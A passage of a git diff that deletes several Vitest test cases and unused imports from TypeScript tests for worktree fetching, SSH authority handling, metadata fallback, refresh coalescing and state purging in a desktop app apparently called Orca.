-    await expect(refresh).resolves.toBe(false)
-    expect(store.getState().worktreesByRepo['repo-missing']).toBeUndefined()
-  })
-
   it('rejects a missing-owner SSH result after the provider reconnects', async () => {
     const store = createTestStore()
     const remote = makeWorktree({
@@ -354,135 +151,4 @@ describe('fetchWorktrees', () => {
     ])
     expect(mockApi.worktrees.listDetected).not.toHaveBeenCalled()
   })
-
-  it('stamps runtime worktrees with the owning project host setup', async () => {
-    const store = createTestStore()
-    const remote = makeWorktree({
-      id: 'repo-remote::/vercel/sandbox/orca',
-      repoId: 'repo-remote',
-      path: '/vercel/sandbox/orca',
-      branch: 'refs/heads/Jinwoo-H/vm-improve-2',
-      hostId: 'local'
-    })
-    store.setState({
-      repos: [
-        {
-          id: 'repo-remote',
-          path: '/vercel/sandbox/orca',
-          displayName: 'orca',
-          badgeColor: '#000',
-          addedAt: 0,
-          executionHostId: 'runtime:env-1'
-        }
-      ],
-      projectHostSetups: [
-        {
-          id: 'repo-remote',
-          projectId: 'github:stablyai/orca',
-          hostId: 'runtime:env-1',
-          repoId: 'repo-remote',
-          path: '/vercel/sandbox/orca',
-          displayName: 'orca',
-          setupState: 'ready',
-          setupMethod: 'imported-existing-folder',
-          createdAt: 1,
-          updatedAt: 1
-        }
-      ]
-    })
-    runtimeEnvironmentCall.mockResolvedValue({
-      id: 'rpc-runtime-worktree',
-      ok: true,
-      result: makeDetectedResult('repo-remote', [remote]),
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-
-    await store.getState().fetchWorktrees('repo-remote')
-
-    expect(store.getState().worktreesByRepo['repo-remote']).toEqual([
-      {
-        ...remote,
-        hostId: 'runtime:env-1',
-        runtimeOwnerEnvironmentId: 'env-1',
-        projectId: 'github:stablyai/orca',
-        projectHostSetupId: 'repo-remote'
-      }
-    ])
-    expect(store.getState().detectedWorktreesByRepo['repo-remote']?.worktrees).toEqual([
-      expect.objectContaining({
-        id: remote.id,
-        hostId: 'runtime:env-1',
-        runtimeOwnerEnvironmentId: 'env-1',
-        projectId: 'github:stablyai/orca',
-        projectHostSetupId: 'repo-remote'
-      })
-    ])
-  })
-
-  it('falls back to legacy remote worktree.list when detectedList is unavailable', async () => {
-    const store = createTestStore()
-    const remote = makeWorktree({
-      id: 'repo1::/remote/wt1',
-      repoId: 'repo1',
-      path: '/remote/wt1',
-      branch: 'refs/heads/remote'
-    })
-    store.setState({ settings: { activeRuntimeEnvironmentId: 'env-1' } as never })
-    runtimeEnvironmentCall.mockImplementation(({ method }: RuntimeEnvironmentCallRequest) =>
-      Promise.resolve(
-        method === 'worktree.detectedList'
-          ? {
-              id: 'rpc-1',
-              ok: false,
-              error: {
-                code: 'method_not_found',
-                message: 'Unknown method: worktree.detectedList'
-              },
-              _meta: { runtimeId: 'runtime-remote' }
-            }
-          : {
-              id: 'rpc-2',
-              ok: true,
-              result: { worktrees: [remote], totalCount: 1, truncated: false },
-              _meta: { runtimeId: 'runtime-remote' }
-            }
-      )
-    )
-
-    await store.getState().fetchWorktrees('repo1', { executionHostId: 'runtime:env-1' })
-
-    expect(store.getState().worktreesByRepo.repo1).toEqual([
-      {
-        ...remote,
-        hostId: 'runtime:env-1',
-        runtimeOwnerEnvironmentId: 'env-1'
-      }
-    ])
-    expect(store.getState().detectedWorktreesByRepo.repo1).toMatchObject({
-      repoId: 'repo1',
-      authoritative: true,
-      source: 'session-fallback',
-      worktrees: [
-        {
-          id: remote.id,
-          ownership: 'orca-managed',
-          visible: true,
-          hostId: 'runtime:env-1',
-          runtimeOwnerEnvironmentId: 'env-1'
-        }
-      ]
-    })
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith({
-      selector: 'env-1',
-      method: 'worktree.detectedList',
-      params: { repo: 'repo1' },
-      timeoutMs: 15_000
-    })
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith({
-      selector: 'env-1',
-      method: 'worktree.list',
-      params: { repo: 'repo1', limit: 10_000 },
-      timeoutMs: 15_000
-    })
-  })
 })
diff --git a/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-persisted-metadata-fallback.test.ts b/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-persisted-metadata-fallback.test.ts
index 8bc3634ce78..559edf08f45 100644
--- a/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-persisted-metadata-fallback.test.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-persisted-metadata-fallback.test.ts
@@ -1,13 +1,11 @@
 import { beforeEach, describe, expect, it, vi } from 'vitest'
 import type { AppState } from '../../../types'
-import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host'
 import { clearHugeRepoWarningDismissalsForTests } from '@/lib/source-control/warnings/source-control-huge-repo-warning-dismissals'
 import { TEST_SSH_AUTHORITY, makeDetectedResult } from './worktrees-detected-listing-fixtures'
 import { makeWorktree } from '../worktree.test-fixture'
 import {
   createTestStore,
   listKnownForExecutionHostMock,
-  mockApi,
   resetRemoteRuntimeMocks,
   resetWorktreeSliceModuleMemory,
   worktreeListMock
@@ -38,105 +36,6 @@ describe('fetchWorktrees', () => {
     clearHugeRepoWarningDismissalsForTests()
   })
 
-  it('adds metadata rows without replacing richer cached SSH worktrees', async () => {
-    const store = createTestStore()
-    const sshRepo = {
-      id: 'repo-ssh',
-      path: '/home/orca/repo',
-      displayName: 'SSH Repo',
-      badgeColor: '#000',
-      addedAt: 0,
-      connectionId: 'ssh-1'
-    }
-    const existing = makeWorktree({
-      id: 'repo-ssh::/home/orca/existing',
-      repoId: 'repo-ssh',
-      path: '/home/orca/existing',
-      hostId: 'ssh:ssh-1',
-      head: 'live-head',
-      branch: 'refs/heads/live-branch'
-    })
-    const metadataExisting = { ...existing, head: '', branch: '' }
-    const queued = makeWorktree({
-      id: 'repo-ssh::/home/orca/queued',
-      repoId: 'repo-ssh',
-      path: '/home/orca/queued'
-    })
-    listKnownForExecutionHostMock.mockResolvedValueOnce({
-      status: 'complete',
-      repoId: sshRepo.id,
-      executionHostId: 'ssh:ssh-1',
-      result: makeDetectedResult('repo-ssh', [metadataExisting, queued], {
-        authoritative: false,
-        source: 'metadata-fallback'
-      })
-    })
-    store.setState({
-      repos: [sshRepo],
-      sshConnectionStates: new Map(),
-      worktreesByRepo: { [sshRepo.id]: [existing] }
-    } as Partial<AppState>)
-
-    await store.getState().fetchWorktrees(sshRepo.id)
-
-    expect(store.getState().worktreesByRepo[sshRepo.id]).toEqual([
-      existing,
-      { ...queued, hostId: 'ssh:ssh-1' }
-    ])
-  })
-
-  it('inserts metadata rows inside the SSH block instead of past sibling hosts', async () => {
-    const store = createTestStore()
-    const sshRepo = {
-      id: 'repo-shared',
-      path: '/home/orca/repo',
-      displayName: 'SSH Repo',
-      badgeColor: '#000',
-      addedAt: 0,
-      connectionId: 'ssh-1'
-    }
-    const localRepo = { ...sshRepo, path: '/local/repo', connectionId: undefined }
-    const sshExisting = makeWorktree({
-      id: 'repo-shared::/home/orca/existing',
-      repoId: sshRepo.id,
-      path: '/home/orca/existing',
-      hostId: 'ssh:ssh-1'
-    })
-    const localExisting = makeWorktree({
-      id: 'repo-shared::/local/existing',
-      repoId: sshRepo.id,
-      path: '/local/existing',
-      hostId: LOCAL_EXECUTION_HOST_ID
-    })
-    const queued = makeWorktree({
-      id: 'repo-shared::/home/orca/queued',
-      repoId: sshRepo.id,
-      path: '/home/orca/queued'
-    })
-    listKnownForExecutionHostMock.mockResolvedValueOnce({
-      status: 'complete',
-      repoId: sshRepo.id,
-      executionHostId: 'ssh:ssh-1',
-      result: makeDetectedResult(sshRepo.id, [queued], {
-        authoritative: false,
-        source: 'metadata-fallback'
-      })
-    })
-    store.setState({
-      repos: [sshRepo, localRepo],
-      sshConnectionStates: new Map(),
-      worktreesByRepo: { [sshRepo.id]: [sshExisting, localExisting] }
-    } as Partial<AppState>)
-
-    await store.getState().fetchWorktrees(sshRepo.id, { executionHostId: 'ssh:ssh-1' })
-
-    expect(store.getState().worktreesByRepo[sshRepo.id]).toEqual([
-      sshExisting,
-      { ...queued, hostId: 'ssh:ssh-1' },
-      localExisting
-    ])
-  })
-
   it('drops metadata rows when SSH authority lands during the read', async () => {
     const store = createTestStore()
     const sshRepo = {
@@ -196,55 +95,6 @@ describe('fetchWorktrees', () => {
     expect(store.getState().worktreesByRepo[sshRepo.id]).toEqual([live])
   })
 
-  it('keeps the repo detection entry authoritative while appending metadata rows', async () => {
-    const store = createTestStore()
-    const sshRepo = {
-      id: 'repo-shared',
-      path: '/home/orca/repo',
-      displayName: 'SSH Repo',
-      badgeColor: '#000',
-      addedAt: 0,
-      connectionId: 'ssh-1'
-    }
-    const localRepo = { ...sshRepo, path: '/local/repo', connectionId: undefined }
-    const scanned = makeWorktree({
-      id: 'repo-shared::/local/scanned',
-      repoId: sshRepo.id,
-      path: '/local/scanned'
-    })
-    const fromMetadata = makeWorktree({
-      id: 'repo-shared::/home/orca/queued',
-      repoId: sshRepo.id,
-      path: '/home/orca/queued'
-    })
-    const authoritative = makeDetectedResult(sshRepo.id, [scanned])
-    listKnownForExecutionHostMock.mockResolvedValueOnce({
-      status: 'complete',
-      repoId: sshRepo.id,
-      executionHostId: 'ssh:ssh-1',
-      result: makeDetectedResult(sshRepo.id, [fromMetadata], {
-        authoritative: false,
-        source: 'metadata-fallback'
-      })
-    })
-    store.setState({
-      repos: [sshRepo, localRepo],
-      sshConnectionStates: new Map(),
-      detectedWorktreesByRepo: { [sshRepo.id]: authoritative }
-    } as Partial<AppState>)
-
-    await store.getState().fetchWorktrees(sshRepo.id, { executionHostId: 'ssh:ssh-1' })
-
-    const detected = store.getState().detectedWorktreesByRepo[sshRepo.id]
-    // Why: this entry is shared with the co-owning local host, so the fallback must not demote its scan.
-    expect(detected?.authoritative).toBe(true)
-    expect(detected?.source).toBe('git')
-    expect(detected?.worktrees.map((worktree) => worktree.id)).toEqual([
-      scanned.id,
-      fromMetadata.id
-    ])
-  })
-
   it('does not resurrect worktrees an authoritative SSH scan already removed', async () => {
     const store = createTestStore()
     const sshRepo = {
@@ -297,29 +147,4 @@ describe('fetchWorktrees', () => {
 
     expect(store.getState().worktreesByRepo[sshRepo.id]).toEqual([live])
   })
-
-  it('skips the metadata fallback entirely for authoritative-only callers', async () => {
-    const store = createTestStore()
-    const sshRepo = {
-      id: 'repo-ssh',
-      path: '/home/orca/repo',
-      displayName: 'SSH Repo',
-      badgeColor: '#000',
-      addedAt: 0,
-      connectionId: 'ssh-1'
-    }
-    store.setState({ repos: [sshRepo], sshConnectionStates: new Map() } as Partial<AppState>)
-    const worktreesByRepo = store.getState().worktreesByRepo
-    const detectedWorktreesByRepo = store.getState().detectedWorktreesByRepo
-
-    await expect(
-      store.getState().fetchWorktrees(sshRepo.id, { requireAuthoritative: true })
-    ).resolves.toBe(false)
-
-    // Why: these callers asked for authoritative-or-nothing; non-authoritative rows must not land as a side effect.
-    expect(listKnownForExecutionHostMock).not.toHaveBeenCalled()
-    expect(mockApi.worktrees.listDetected).not.toHaveBeenCalled()
-    expect(store.getState().worktreesByRepo).toBe(worktreesByRepo)
-    expect(store.getState().detectedWorktreesByRepo).toBe(detectedWorktreesByRepo)
-  })
 })
diff --git a/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-refresh-coalescing.test.ts b/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-refresh-coalescing.test.ts
index 8895c70da5a..2213825cdfa 100644
--- a/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-refresh-coalescing.test.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-refresh-coalescing.test.ts
@@ -2,11 +2,7 @@ import { beforeEach, describe, expect, it, vi } from 'vitest'
 import type { AppState } from '../../../types'
 import type { ListDetectedWorktreesArgs } from '../../../../../../shared/detected-worktree-provider-contract'
 import { clearHugeRepoWarningDismissalsForTests } from '@/lib/source-control/warnings/source-control-huge-repo-warning-dismissals'
-import {
-  TEST_SSH_AUTHORITY,
-  makeDetectedResult,
-  qualifyDetectedResult
-} from './worktrees-detected-listing-fixtures'
+import { makeDetectedResult, qualifyDetectedResult } from './worktrees-detected-listing-fixtures'
 import { makeWorktree } from '../worktree.test-fixture'
 import {
   createTestStore,
@@ -88,73 +84,7 @@ describe('fetchWorktrees', () => {
     expect(store.getState().tabsByWorktree[deleted.id]).toBeUndefined()
   })
 
-  // Teardown outside scan coalescing must still deduplicate identical host sweeps.
-  it('shares one teardown sweep across identical concurrent refreshes', async () => {
-    const store = createTestStore()
-    const deleted = makeWorktree({ id: 'repo1::/p/deleted', repoId: 'repo1', path: '/p/deleted' })
-    const surviving = makeWorktree({ id: 'repo1::/p/surv', repoId: 'repo1', path: '/p/surv' })
-
-    store.setState({
-      repos: [{ id: 'repo1', path: '/p/repo1', displayName: 'R', badgeColor: '#000', addedAt: 0 }],
-      worktreesByRepo: { repo1: [deleted, surviving] },
-      detectedWorktreesByRepo: { repo1: makeDetectedResult('repo1', [deleted, surviving]) },
-      tabsByWorktree: { [deleted.id]: [{ id: 'tab-d', worktreeId: deleted.id }] }
-    } as unknown as Partial<AppState>)
-
-    mockApi.worktrees.listDetected.mockImplementationOnce(async (args) =>
-      qualifyDetectedResult(args, makeDetectedResult('repo1', [surviving]))
-    )
-
-    await Promise.all([
-      store.getState().fetchWorktrees('repo1'),
-      store.getState().fetchDetectedWorktrees('repo1'),
-      store.getState().fetchWorktrees('repo1')
-    ])
-
-    expect(mockApi.runtime.call).toHaveBeenCalledTimes(1)
-    expect(store.getState().tabsByWorktree[deleted.id]).toBeUndefined()
-  })
-
   // Unreachable SSH cannot prove worktree deletion; neither purge nor kill without authoritative scan (#10562).
-  it('never stops terminals for a disconnected SSH target', async () => {
-    const store = createTestStore()
-    const deleted = makeWorktree({ id: 'repo1::/p/deleted', repoId: 'repo1', path: '/p/deleted' })
-    const surviving = makeWorktree({ id: 'repo1::/p/surv', repoId: 'repo1', path: '/p/surv' })
-
-    store.setState({
-      repos: [
-        {
-          id: 'repo1',
-          path: '/p/repo1',
-          displayName: 'R',
-          badgeColor: '#000',
-          addedAt: 0,
-          connectionId: TEST_SSH_AUTHORITY.targetId
-        }
-      ],
-      // Why: the target dropped — no connected authority for this host.
-      sshConnectionStates: new Map([
-        [
-          TEST_SSH_AUTHORITY.targetId,
-          {
-            targetId: TEST_SSH_AUTHORITY.targetId,
-            status: 'disconnected',
-            error: null,
-            reconnectAttempt: 1
-          }
-        ]
-      ]),
-      worktreesByRepo: { repo1: [deleted, surviving] },
-      detectedWorktreesByRepo: { repo1: makeDetectedResult('repo1', [deleted, surviving]) },
-      tabsByWorktree: { [deleted.id]: [{ id: 'tab-d', worktreeId: deleted.id }] }
-    } as unknown as Partial<AppState>)
-
-    await store.getState().fetchWorktrees('repo1')
-
-    expect(mockApi.runtime.call).not.toHaveBeenCalled()
-    expect(store.getState().tabsByWorktree[deleted.id]).toBeDefined()
-  })
-
   it('keeps authoritative refreshes separate from non-authoritative in-flight results', async () => {
     const store = createTestStore()
     const fallback = makeWorktree({
@@ -286,91 +216,4 @@ describe('fetchWorktrees', () => {
     ])
     expect(mockApi.worktrees.listDetected).toHaveBeenCalledTimes(2)
   })
-
-  it('preserves SSH host identity when detected and visible refreshes overlap', async () => {
-    const store = createTestStore()
-    const sshWorktree = makeWorktree({
-      id: 'repo-ssh::/home/orca/wt1',
-      repoId: 'repo-ssh',
-      path: '/home/orca/wt1'
-    })
-    let releaseScan!: () => void
-    const scanStarted = new Promise<void>((resolve) => {
-      mockApi.worktrees.listDetected.mockImplementationOnce(
-        async (args: ListDetectedWorktreesArgs) => {
-          resolve()
-          await new Promise<void>((release) => {
-            releaseScan = release
-          })
-          return qualifyDetectedResult(args, makeDetectedResult(args.repoId, [sshWorktree]))
-        }
-      )
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      repos: [
-        {
-          id: 'repo-ssh',
-          path: '/home/orca/repo',
-          displayName: 'SSH Repo',
-          badgeColor: '#000',
-          addedAt: 0,
-          connectionId: 'ssh-1'
-        }
-      ]
-    } as Partial<AppState>)
-
-    const detectedRequest = store.getState().fetchDetectedWorktrees('repo-ssh')
-    const visibleRequest = store.getState().fetchWorktrees('repo-ssh')
-    await scanStarted
-
-    expect(mockApi.worktrees.listDetected).toHaveBeenCalledTimes(1)
-
-    releaseScan()
-    const [, visibleResult] = await Promise.all([detectedRequest, visibleRequest])
-
-    expect(visibleResult).toBe(true)
-    expect(store.getState().worktreesByRepo['repo-ssh']).toEqual([
-      { ...sshWorktree, hostId: 'ssh:ssh-1' }
-    ])
-    expect(store.getState().detectedWorktreesByRepo['repo-ssh']?.worktrees).toEqual([
-      expect.objectContaining({ id: sshWorktree.id, hostId: 'ssh:ssh-1' })
-    ])
-    expect(mockApi.worktrees.listDetected).toHaveBeenCalledTimes(1)
-  })
-
-  it('fails closed before provider acquisition when direct authority is partial', async () => {
-    const store = createTestStore()
-    const worktreesByRepo = store.getState().worktreesByRepo
-    const detectedWorktreesByRepo = store.getState().detectedWorktreesByRepo
-    store.setState({
-      repos: [
-        {
-          id: 'repo-ssh',
-          path: '/home/orca/repo',
-          displayName: 'SSH Repo',
-          badgeColor: '#000',
-          addedAt: 0,
-          connectionId: 'ssh-1'
-        }
-      ],
-      sshConnectionStates: new Map([
-        [
-          'ssh-1',
-          {
-            targetId: 'ssh-1',
-            status: 'connected',
-            error: null,
-            reconnectAttempt: 0,
-            providerEpoch: TEST_SSH_AUTHORITY.providerEpoch
-          }
-        ]
-      ])
-    } as Partial<AppState>)
-
-    await expect(store.getState().fetchWorktrees('repo-ssh')).resolves.toBe(false)
-    expect(mockApi.worktrees.listDetected).not.toHaveBeenCalled()
-    expect(store.getState().worktreesByRepo).toBe(worktreesByRepo)
-    expect(store.getState().detectedWorktreesByRepo).toBe(detectedWorktreesByRepo)
-  })
 })
diff --git a/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-removal-purge.test.ts b/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-removal-purge.test.ts
index 60993e036d6..7aecff8a5f5 100644
--- a/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-removal-purge.test.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-removal-purge.test.ts
@@ -1,11 +1,6 @@
 import { beforeEach, describe, expect, it, vi } from 'vitest'
 import type { AppState } from '../../../types'
-import {
-  beginHugeRepoWarningProbe,
-  clearHugeRepoWarningDismissalsForTests,
-  hasDismissedHugeRepoWarning,
-  markHugeRepoWarningDismissed
-} from '@/lib/source-control/warnings/source-control-huge-repo-warning-dismissals'
+import { clearHugeRepoWarningDismissalsForTests } from '@/lib/source-control/warnings/source-control-huge-repo-warning-dismissals'
 import '../create-worktree-slice'
 import { makeDetectedResult, qualifyDetectedResult } from './worktrees-detected-listing-fixtures'
 import { makeWorktree } from '../worktree.test-fixture'
@@ -13,8 +8,7 @@ import {
   createTestStore,
   mockApi,
   resetRemoteRuntimeMocks,
-  resetWorktreeSliceModuleMemory,
-  worktreeListMock
+  resetWorktreeSliceModuleMemory
 } from '../worktrees-slice-test-harness'
 
 const requestWorktreeBaseFallbackNotice = vi.hoisted(() => vi.fn())
@@ -42,126 +36,6 @@ describe('fetchWorktrees', () => {
     clearHugeRepoWarningDismissalsForTests()
   })
 
-  it('purges remembered right sidebar tabs for worktrees removed by a committed refresh', async () => {
-    const store = createTestStore()
-    const removed = makeWorktree({
-      id: 'repo1::/path/removed',
-      repoId: 'repo1',
-      path: '/path/removed'
-    })
-    const surviving = makeWorktree({
-      id: 'repo1::/path/surviving',
-      repoId: 'repo1',
-      path: '/path/surviving'
-    })
-
-    worktreeListMock.mockResolvedValue([surviving])
-    store.setState({
-      worktreesByRepo: { repo1: [removed, surviving] },
-      sortEpoch: 7,
-      rightSidebarTabByWorktree: {
-        [removed.id]: 'search' as never,
-        [surviving.id]: 'checks'
-      },
-      rightSidebarExplorerViewByWorktree: {
-        [removed.id]: 'search',
-        [surviving.id]: 'files'
-      }
-    } as Partial<AppState>)
-
-    const paneKey = 'removed-tab:leaf'
-    const previous = {
-      paneKey,
-      state: 'done' as const,
-      prompt: '',
-      updatedAt: 1,
-      stateStartedAt: 1,
-      stateHistory: [],
-      terminalResumeEligible: false as const
-    }
-    store.setState({
-      tabsByWorktree: {
-        [removed.id]: [
-          {
-            id: 'removed-tab',
-            worktreeId: removed.id,
-            ptyId: null,
-            title: '',
-            customTitle: null,
-            color: null,
-            sortOrder: 0,
-            createdAt: 0
-          }
-        ]
-      },
-      agentStatusByPaneKey: { [paneKey]: previous }
-    })
-    const accepted = vi.fn()
-    const dispose = store.getState().subscribeAgentStatusChanges(accepted)
-    await store.getState().fetchWorktrees('repo1')
-    expect(accepted).toHaveBeenCalledExactlyOnceWith([{ paneKey, previous, current: undefined }])
-    dispose()
-
-    expect(store.getState().worktreesByRepo.repo1).toEqual([surviving])
-    expect(store.getState().rightSidebarTabByWorktree).toEqual({ [surviving.id]: 'checks' })
-    expect(store.getState().rightSidebarExplorerViewByWorktree).toEqual({
-      [surviving.id]: 'files'
-    })
-  })
-
-  it('retains hidden state until an authoritative refresh removes the worktree', async () => {
-    const store = createTestStore()
-    const visible = makeWorktree({
-      id: 'repo1::/path/visible',
-      repoId: 'repo1',
-      path: '/path/visible'
-    })
-    const hidden = makeWorktree({
-      id: 'repo1::/path/hidden',
-      instanceId: 'persisted-hidden-instance',
-      repoId: 'repo1',
-      path: '/path/hidden'
-    })
-    const previousDetected = makeDetectedResult('repo1', [visible, hidden])
-    previousDetected.worktrees[1] = {
-      ...previousDetected.worktrees[1],
-      ownership: 'external',
-      visible: false
-    }
-    mockApi.worktrees.listDetected
-      .mockResolvedValueOnce(previousDetected)
-      .mockResolvedValueOnce(makeDetectedResult('repo1', [visible]))
-    store.setState({
-      worktreesByRepo: { repo1: [visible] },
-      detectedWorktreesByRepo: { repo1: previousDetected },
-      sortEpoch: 7,
-      rightSidebarTabByWorktree: {
-        [visible.id]: 'checks',
-        [hidden.id]: 'search' as never
-      },
-      rightSidebarExplorerViewByWorktree: {
-        [visible.id]: 'files',
-        [hidden.id]: 'search'
-      },
-      tabsByWorktree: {
-        [hidden.id]: [{ id: 'tab-hidden', worktreeId: hidden.id }]
-      }
-    } as unknown as Partial<AppState>)
-    markHugeRepoWarningDismissed(beginHugeRepoWarningProbe(hidden))
-
-    await store.getState().fetchWorktrees('repo1')
-
-    expect(hasDismissedHugeRepoWarning(beginHugeRepoWarningProbe(hidden))).toBe(true)
-
-    await store.getState().fetchWorktrees('repo1')
-
-    expect(store.getState().worktreesByRepo.repo1).toEqual([visible])
-    expect(store.getState().rightSidebarTabByWorktree).toEqual({ [visible.id]: 'checks' })
-    expect(store.getState().rightSidebarExplorerViewByWorktree).toEqual({ [visible.id]: 'files' })
-    expect(store.getState().tabsByWorktree[hidden.id]).toBeUndefined()
-    expect(hasDismissedHugeRepoWarning(beginHugeRepoWarningProbe(hidden))).toBe(false)
-  })
-
   it('awaits missing-worktree terminal teardown before purging renderer state', async () => {
     const store = createTestStore()
     const deleted = makeWorktree({
@@ -223,166 +97,4 @@ describe('fetchWorktrees', () => {
 
     expect(store.getState().tabsByWorktree[deleted.id]).toBeUndefined()
   })
-
-  it('clears a hidden dismissal across hydrated fetch-all delete and recreation', async () => {
-    const store = createTestStore()
-    const visible = makeWorktree({
-      id: 'repo1::/path/visible',
-      repoId: 'repo1',
-      path: '/path/visible'
-    })
-    const hidden = makeWorktree({
-      id: 'repo1::/path/reused',
-      instanceId: 'persisted-reused-instance',
-      repoId: 'repo1',
-      path: '/path/reused'
-    })
-    const hiddenDetected = makeDetectedResult('repo1', [visible, hidden])
-    hiddenDetected.worktrees[1] = {
-      ...hiddenDetected.worktrees[1],
-      ownership: 'external',
-      visible: false
-    }
-    const recreatedDetected = makeDetectedResult('repo1', [visible, hidden])
-    mockApi.worktrees.listDetected
-      .mockResolvedValueOnce(hiddenDetected)
-      .mockResolvedValueOnce(makeDetectedResult('repo1', [visible]))
-      .mockResolvedValueOnce(recreatedDetected)
-    store.setState({
-      repos: [
-        { id: 'repo1', path: '/repo1', displayName: 'Repo 1', badgeColor: '#000', addedAt: 0 }
-      ],
-      hasHydratedWorktreePurge: true,
-      worktreesByRepo: { repo1: [visible] },
-      detectedWorktreesByRepo: { repo1: hiddenDetected }
-    } as Partial<AppState>)
-    markHugeRepoWarningDismissed(beginHugeRepoWarningProbe(hidden))
-
-    await store.getState().fetchAllWorktrees()
-    expect(hasDismissedHugeRepoWarning(beginHugeRepoWarningProbe(hidden))).toBe(true)
-
-    await store.getState().fetchAllWorktrees()
-    await store.getState().fetchAllWorktrees()
-
-    // The backend can reuse persisted instance metadata for the same path.
-    expect(hasDismissedHugeRepoWarning(beginHugeRepoWarningProbe(hidden))).toBe(false)
-  })
-
-  it('purges session-only tab keys after an authoritative refresh', async () => {
-    const store = createTestStore()
-    const deleted = makeWorktree({
-      id: 'repo1::/path/deleted',
-      repoId: 'repo1',
-      path: '/path/deleted'
-    })
-    const surviving = makeWorktree({
-      id: 'repo1::/path/surviving',
-      repoId: 'repo1',
-      path: '/path/surviving'
-    })
-
-    mockApi.worktrees.listDetected.mockImplementationOnce(async (args) =>
-      qualifyDetectedResult(args, makeDetectedResult('repo1', [surviving]))
-    )
-    store.setState({
-      worktreesByRepo: { repo1: [] },
-      detectedWorktreesByRepo: {
-        repo1: makeDetectedResult('repo1', [], {
-          authoritative: false,
-          source: 'metadata-fallback'
-        })
-      },
-      tabsByWorktree: {
-        [deleted.id]: [{ id: 'tab-deleted', worktreeId: deleted.id }],
-        [surviving.id]: [{ id: 'tab-surviving', worktreeId: surviving.id }]
-      },
-      terminalLayoutsByTabId: {
-        'tab-deleted': { root: null, activeLeafId: null, expandedLeafId: null },
-        'tab-surviving': { root: null, activeLeafId: null, expandedLeafId: null }
-      },
-      activeWorktreeId: deleted.id,
-      activeTabId: 'tab-deleted',
-      sortEpoch: 7
-    } as unknown as Partial<AppState>)
-
-    await store.getState().fetchWorktrees('repo1')
-
-    expect(store.getState().worktreesByRepo.repo1).toEqual([surviving])
-    expect(store.getState().tabsByWorktree).toEqual({
-      [surviving.id]: [{ id: 'tab-surviving', worktreeId: surviving.id }]
-    })
-    expect(store.getState().terminalLayoutsByTabId).toEqual({
-      'tab-surviving': { root: null, activeLeafId: null, expandedLeafId: null }
-    })
-    expect(store.getState().activeWorktreeId).toBeNull()
-    expect(store.getState().activeTabId).toBeNull()
-  })
-
-  it('does not purge remembered state from a non-authoritative partial refresh', async () => {
-    const store = createTestStore()
-    const missingFromFallback = makeWorktree({
-      id: 'repo1::/path/missing-from-fallback',
-      repoId: 'repo1',
-      path: '/path/missing-from-fallback'
-    })
-    const fallback = makeWorktree({
-      id: 'repo1::/path/fallback',
-      repoId: 'repo1',
-      path: '/path/fallback'
-    })
-
-    mockApi.worktrees.listDetected.mockResolvedValueOnce(
-      makeDetectedResult('repo1', [fallback], {
-        authoritative: false,
-        source: 'metadata-fallback'
-      })
-    )
-    store.setState({
-      worktreesByRepo: { repo1: [missingFromFallback, fallback] },
-      sortEpoch: 7,
-      rightSidebarTabByWorktree: {
-        [missingFromFallback.id]: 'search' as never,
-        [fallback.id]: 'checks'
-      },
-      tabsByWorktree: {
-        [missingFromFallback.id]: [{ id: 'tab-missing', worktreeId: missingFromFallback.id }]
-      }
-    } as unknown as Partial<AppState>)
-
-    const result = await store.getState().fetchWorktrees('repo1')
-
-    expect(store.getState().rightSidebarTabByWorktree).toEqual({
-      [missingFromFallback.id]: 'search',
-      [fallback.id]: 'checks'
-    })
-    expect(store.getState().tabsByWorktree[missingFromFallback.id]).toEqual([
-      { id: 'tab-missing', worktreeId: missingFromFallback.id }
-    ])
-    expect(store.getState().worktreesByRepo.repo1).toEqual([fallback])
-    expect(result).toBe(false)
-    expect(mockApi.runtime.call).not.toHaveBeenCalled()
-  })
-
-  it('does not purge remembered right sidebar tabs on a transient empty refresh', async () => {
-    const store = createTestStore()
-    const existing = makeWorktree({ id: 'repo1::/path/wt1', repoId: 'repo1', path: '/path/wt1' })
-
-    mockApi.worktrees.listDetected.mockResolvedValueOnce(
-      makeDetectedResult('repo1', [], {
-        authoritative: false,
-        source: 'metadata-fallback'
-      })
-    )
-    store.setState({
-      worktreesByRepo: { repo1: [existing] },
-      sortEpoch: 7,
-      rightSidebarTabByWorktree: { [existing.id]: 'search' as never }
-    } as Partial<AppState>)
-
-    const result = await store.getState().fetchWorktrees('repo1')
-
-    expect(store.getState().worktreesByRepo.repo1).toEqual([existing])
-    expect(store.getState().rightSidebarTabByWorktree).toEqual({ [existing.id]: 'search' })
-    expect(result).toBe(false)
-  })
 })
diff --git a/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-stale-catalog-version.test.ts b/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-stale-catalog-version.test.ts
index 78aa1766f5c..8bc86209c03 100644
--- a/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-stale-catalog-version.test.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-stale-catalog-version.test.ts
@@ -1,11 +1,6 @@
 import { beforeEach, describe, expect, it, vi } from 'vitest'
 import type { WorktreeCatalogVersion } from '../../../../../../shared/worktree/catalog-version'
-import { getDefaultSettings } from '../../../../../../shared/constants'
-import {
-  TEST_SSH_AUTHORITY,
-  makeDetectedResult,
-  qualifyDetectedResult
-} from './worktrees-detected-listing-fixtures'
+import { makeDetectedResult, qualifyDetectedResult } from './worktrees-detected-listing-fixtures'
 import { makeTerminalTab } from '../../../terminals/terminal-row.test-fixture'
 import { makeWorktree } from '../worktree.test-fixture'
